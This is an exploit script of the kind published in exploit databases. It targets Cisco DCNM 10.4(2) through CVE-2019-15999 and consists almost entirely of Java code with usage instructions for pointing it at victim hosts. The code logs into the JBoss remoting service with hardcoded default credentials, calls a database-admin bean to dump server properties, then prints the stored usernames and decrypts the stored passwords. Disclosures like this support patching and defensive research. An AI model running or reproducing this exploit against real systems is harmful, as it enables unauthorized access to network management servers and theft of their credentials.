Cisco DCNM JBoss 10.4 – Credential Leakage
# Exploit Title: Cisco DCNM JBoss 10.4 - Credential Leakage # Date: 2020-01-06 # Exploit Author: Harrison Neal # Vendor Homepage: https://www.cisco.com/ # Software Link: https://software.cisco.com/download/home/281722751/type/282088134/release/10.4(2) # Version: 10.4(2) # CVE: CVE-2019-15999 # You'll need a few .jars from a copy of Cisco DCNM to compile and run this code # To compile, file path should match ${package}/${class}.java, e.g., # com/whatdidibreak/dcnm_expl/Main.java # Usage: java -jar PackagedJarFile Victim1IpOrFqdn [victim2 ...] package com.whatdidibreak.dcnm_expl; import com.cisco.dcbu.jaxws.san.ep.DbAdminSEI; import com.cisco.dcbu.jaxws.wo.DBRowDO; import com.cisco.dcbu.lib.util.jboss_4_2.JBoss_4_2Encrypter; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; public class Main { public static void main(String[] args) throws Throwable { for (String target : args) { System.out.println("Target: " + target); Properties jndiProps = new Properties(); jndiProps.put(Context.INITIAL_CONTEXT_FACTORY, "org.jboss.naming.remote.client.InitialContextFactory"); jndiProps.put(Context.PROVIDER_URL, "remote://" + target + ":4447"); jndiProps.put(Context.SECURITY_PRINCIPAL, "admin"); jndiProps.put(Context.SECURITY_CREDENTIALS, "nbv_12345"); jndiProps.put("jboss.naming.client.ejb.context", true); Context ctx = new InitialContext(jndiProps); DbAdminSEI i = (DbAdminSEI) ctx.lookup("dcm/jaxws-dbadmin/DbAdminWS!com.cisco.dcbu.jaxws.san.ep.DbAdminSEI"); for (DBRowDO row : i.getServerProperties(null).getRows()) { String propName = row.getEntry()[0]; String propValue = row.getEntry()[1]; if (propValue.isEmpty()) { continue; } if (propName.contains("user")) { System.out.println(propName + " = " + propValue); } else if (propName.contains("pass")) { System.out.println(propName + " = " + propValue + " (" + JBoss_4_2Encrypter.decrypt(propValue) + ")"); } } System.out.println(); } } } |